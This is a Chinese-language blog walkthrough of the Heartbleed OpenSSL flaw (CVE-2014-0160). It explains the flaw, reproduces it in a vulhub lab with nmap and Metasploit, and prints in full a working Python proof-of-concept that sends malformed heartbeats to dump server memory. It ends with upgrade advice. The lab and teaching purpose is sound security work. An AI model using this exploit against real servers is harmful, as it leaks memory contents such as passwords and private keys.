目录

Heartbleed

漏洞描述

漏洞原理

漏洞复现

使用MSF框架攻击

使用官方POC复现

修复方案


Heartbleed

心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过滤,即可以读取的数据比应该允许读取的还多。

漏洞描述

Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

漏洞原理

OpenSSL“心脏出血”漏洞的问题出现在openSSL处理TLS心跳的过程中,TLS心跳的流程是:A向B发送请求包,B收到包后读取这个包的内容(data),并返回一个包含有请求包内容的响应包。请求包的内容(data)中包含有包的类型(type)和数据长度等信息。

当B收到A的请求包后,并没有的验证A包的实际长度,而是简单的把请求包data中说明的长度当作data的实际长度,于是当请求包中说明的长度与请求包数据实际长度不同时,问题就产生了。假设A构造一个请求包,它的实际内容长度只有1,而却告诉B的它的长度是65535,那么B接受到这个包后就会把A的内容完全当作65535来处理,其实到这里,问题还并不严重,最严重的问题出在,心跳的响应包还需要附带请求包的全部内容,这就需要程序做一次将请求包的数据从它所在的内存拷贝到响应包的内存里的操作。

这下就出大问题了,当拷贝的时候,程序认为A包的内容长度是65535个字节,结果A包在内存里面实际只有1个字节,于是程序不仅拷贝出了A包的内容,还“傻傻”地将A包数据在内存中位置后额外的65534个字节拷贝进了响应包里,并将这个响应包发还给了A,于是A便轻易地获得了B内存中这65534个字节的数据。想象一下,如果这65534个字节数据中包括一些敏感信息,那么后果将非常严重。而且A还可以简单地通过连续的发送心跳包,获取B机器内存中n个65534字节的数据,这个漏洞不愧是2014年“最佳漏洞”。

漏洞复现

靶机:vulhub 192.168.41.138

攻击机:kali 192.168.41.142

打开环境

docker-compose up -d
docker ps

成功打开

我们在主机访问映射的端口,如下

信息收集总在前,我们先使用Nmap进行扫描,

nmap -sV -T4 192.168.41.138

我们使用Nmap漏洞扫描脚本对443端口进行扫描检测如下:

可以看到,显示是可以利用的,接下来介绍两种复现步骤。

使用MSF框架攻击

msfconsole

search heartbleed

 use auxiliary/scanner/ssl/openssl_heartbleed 或 use 0

然后show options查看配置项

设置需要的配置如下:

这里说明,设置verbose为true是为了 看到泄露的信息;然后run运行,结果如下,

这里就可以看到 靶机的64KB信息了(如果有人此时在登录web应用,还可以直接抓到账号密码等信息)。

MSF复现完毕。

使用官方POC复现

我们查看vulhub靶机环境,查看该目录下的自带脚本。

脚本代码如下:

import sys
import struct
import socket
import time
import select
import binascii
import re
from optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')hb = h2bin('''
18 03 02 00 03
01 40 00
''')def hexdump(s: bytes):for b in range(0, len(s), 16):lin = [c for c in s[b : b + 16]]hxdat = ' '.join('%02X' % c for c in lin)pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)print('  %04x: %-48s %s' % (b, hxdat, pdat))print("")def recvall(s, length, timeout=5):endtime = time.time() + timeoutrdata = b''remain = lengthwhile remain > 0:rtime = endtime - time.time() if rtime < 0:return Noner, w, e = select.select([s], [], [], 5)if s in r:data = s.recv(remain)# EOF?if not data:return Nonerdata += dataremain -= len(data)return rdatadef recvmsg(s):hdr = recvall(s, 5)if hdr is None:print('Unexpected EOF receiving record header - server closed connection')return None, None, Nonetyp, ver, ln = struct.unpack('>BHH', hdr)pay = recvall(s, ln, 10)if pay is None:print('Unexpected EOF receiving record payload - server closed connection')return None, None, Noneprint(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay = recvmsg(s)if typ is None:print('No heartbeat response received, server likely not vulnerable')return Falseif typ == 24:print('Received heartbeat response:')hexdump(pay)if len(pay) > 3:print('WARNING: server returned more data than it should - server is vulnerable!')else:print('Server processed malformed heartbeat, but did not return any extra data.')return Trueif typ == 21:print('Received alert:')hexdump(pay)print('Server returned error, likely not vulnerable')return Falsedef main():opts, args = options.parse_args()if len(args) < 1:options.print_help()returns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print('Connecting...')sys.stdout.flush()s.connect((args[0], opts.port))print('Sending Client Hello...')sys.stdout.flush()s.send(hello)print('Waiting for Server Hello...')sys.stdout.flush()while True:typ, ver, pay = recvmsg(s)if typ == None:print('Server closed connection without sending Server Hello.')return# Look for server hello done message.if typ == 22 and pay[0] == 0x0E:breakprint('Sending heartbeat request...')sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ == '__main__':main()

我们查看需要的参数,输入如下命令在靶机上来运行脚本代码:

python ssltest.py 192.168.41.138 -p 443

成功利用。

别忘了关闭靶场:

docker-compose downdocker ps

exit 

修复方案

OpenSSL“心脏出血”漏洞(CVE-2014-0160)受影响的OpenSSL版本:

  • OpenSSL 1.0.2-beta
  • OpenSSL 1.0.1 - OpenSSL 1.0.1f

要解决此漏洞,简单粗暴的方法就是升级openSSL软件。建议服务器管理员或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS选项重新编译OpenSSL,从而禁用易受攻击的功能,直至可以更新服务器软件。

相关文章:https://bwshen.blog.csdn.net/article/details/106879383

(CVE-2014-0160) OpenSSL 心脏滴血漏洞相关推荐

  1. OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)

    Heartbleed 心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议.它于2012年被引 ...

  2. OpenSSL心脏滴血漏洞(CVE-2014-0160)

    一.漏洞介绍 2014年,互联网安全协议OpenSSL被爆出存在一种十分严重的漏洞. 在黑客社区,被命名为"心脏滴血" ,黑客通过利用该漏洞,可以获取到%30开头的https网站的 ...

  3. openssl心脏滴血漏洞

    Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查.攻击者可以追踪OpenSSL所分配的64KB ...

  4. 渗透测试-Openssl心脏出血漏洞复现

    心脏滴血 早在2014年,互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞.在黑客社区,它被命名为"心脏出血",表明网络上出现了"致命内伤".利用该漏 ...

  5. linux 心脏滴血漏洞,心脏出血漏洞(heartbleeder 自动检测 OpenSSL 心脏出血漏洞 (附修复指南))...

    心脏出血漏洞(heartbleeder 自动检测 OpenSSL 心脏出血漏洞 (附修复指南)),哪吒游戏网给大家带来详细的心脏出血漏洞(heartbleeder 自动检测 OpenSSL 心脏出血漏 ...

  6. 心脏滴血漏洞详解及利用--HeartBleed With OpenSSL

    [事件规则] OpenSSL"心脏出血"漏洞是一个非常严重的问题.这个漏洞使攻击者能够从内存中读取多达64 KB的数据.也就是说,只要有这个漏洞的存在,在无需任何特权信息或身份验证 ...

  7. “心脏滴血漏洞”测评经验分享

    "心脏滴血漏洞"测评经验分享 1 前言 1.1 编写目的 经验分析贴,赚C币买文章: 1.2 读者对象 本文档读者对象为:测评相关工程师.项目管理者.测试工程师.质量管理人员.文档 ...

  8. 【web攻防】破壳漏洞【CVE-2014-6271】与心脏滴血漏洞 【CVE-2014-0160】 docker 复现 学习过程

    其实最近的确是想更新一些文章的,但一直在忙于挖洞和挖洞技巧学习,前者肯定不能发真实案例,后者学的太零碎太杂,自己也处于一个积累的过程,发一些边边角角的内容也没意思. 虽然相比以前的确有了一点进步,但我 ...

  9. Openssl“心脏出血”漏洞分析及其利用

    一.openssl漏洞形成原因 4月7日,互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞.在黑客社区,它被命名为"心脏出血",表明网络上出现了"致命内伤&qu ...

  10. “心脏滴血”漏洞复现

    "心脏滴血"简介: Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查.攻击者可以追踪OpenSSL所分配的64KB缓存.将超 ...

最新文章

  1. 独家|OpenCV 1.7 离散傅里叶变换
  2. 解决sublime3的标签页乱码(小方块)
  3. 如果用户计算机已经与网络物理相连,计算机考试卷
  4. 理解C# 4 dynamic(4) – 让人惊艳的Clay
  5. Poj 1284 Primitive Roots
  6. php5.4 mysql connect_php5.4 Call to undefined function mysql_connect()
  7. 腾讯会议扩容背后:100万核计算资源全由自研服务器星星海支撑
  8. Mongo集群分片部署实践(4.2版本)
  9. 相信阿里只会PPT的“假专家”,随意做数字化转型,活该失败
  10. NIPS论文遭受全面质疑:论证过程普遍不完整,又何谈对错?
  11. cocos creator基础-(五)cc.Component使用
  12. asp优化:认识和优化connection对象
  13. Atitit java读取tif文件为空null的解决 图像处理
  14. IDEA合并SVN分支代码到主干
  15. 远程连接工具Putty 相关
  16. 运营有道:重新定义互联网运营
  17. 复合函数高阶求导公式_常用复合函数的导数公式大学微积分常用的复合函数导数,不要推理过程只要导数公式,上课的时候老师是讲了四个,...
  18. 英语心理测试脸型软件,心理测试:脸型分析自己
  19. php实时股票,PHP实现股票趋势图和柱形图
  20. iOS App添加Spotlight搜索(附Swift Demo)

热门文章

  1. 【转】Windows批处理学习(一)——MS-DOS命令
  2. “概率模型与计算机视觉” 林达华
  3. 北京消费扶贫双创中心启用 2000余种特色产品长期展销
  4. 小心! Java三目运算符
  5. Learning from Very Few Samples:小样本学习综述(三)
  6. 学习笔记1——常用的注意力机制(即插即用)
  7. 虚拟机更新升级,原来的GuestAdditions versions版本不匹配
  8. python外汇兑换代码_Python爬取中国银行外汇牌价
  9. Flask入门教程——小白的艰难抗争史
  10. java comp_Java EE异常:名称java:comp未在此上下文中绑定